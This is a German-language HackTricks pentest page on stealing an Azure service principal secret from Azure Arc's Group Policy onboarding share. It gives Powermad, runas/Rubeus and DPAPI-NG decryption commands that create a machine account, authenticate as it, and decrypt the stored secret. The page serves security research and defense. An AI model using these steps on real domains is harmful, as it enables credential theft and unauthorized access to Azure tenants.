Az - Arc vulnerable GPO Deploy Script

Unterstützen Sie HackTricks

Identifizierung der Probleme

Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Start des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1.

Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen ausgeführt:

  1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.

  2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält.

Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: ServicePrincipalId und ServicePrincipalClientSecret. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.

Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Beweise dafür finden sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

Wir haben die folgenden Bedingungen:

  1. Wir haben erfolgreich das interne Netzwerk durchdrungen.

  2. Wir haben die Fähigkeit, ein Computer-Konto innerhalb von Active Directory zu erstellen oder die Kontrolle darüber zu übernehmen.

  3. Wir haben einen Netzwerkfreigabe entdeckt, die das AzureArcDeploy-Verzeichnis enthält.

Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkonto-Quotas. Eine andere Methode besteht darin, ein Maschinenkonto durch verwundbare ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Sobald ein Maschinenkonto erlangt wurde, ist es möglich, sich mit diesem Konto zu authentifizieren. Wir können entweder den Befehl runas.exe mit dem netonly-Flag verwenden oder Pass-the-Ticket mit Rubeus.exe nutzen.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Durch das Speichern des TGT für unser Computer-Konto im Speicher können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternativ können wir SecretManagement.DpapiNG verwenden.

An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die im selben Netzwerkfreigabe wie die Datei encryptedServicePrincipalSecret gespeichert ist. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren.

Referenzen

Unterstützen Sie HackTricks

Last updated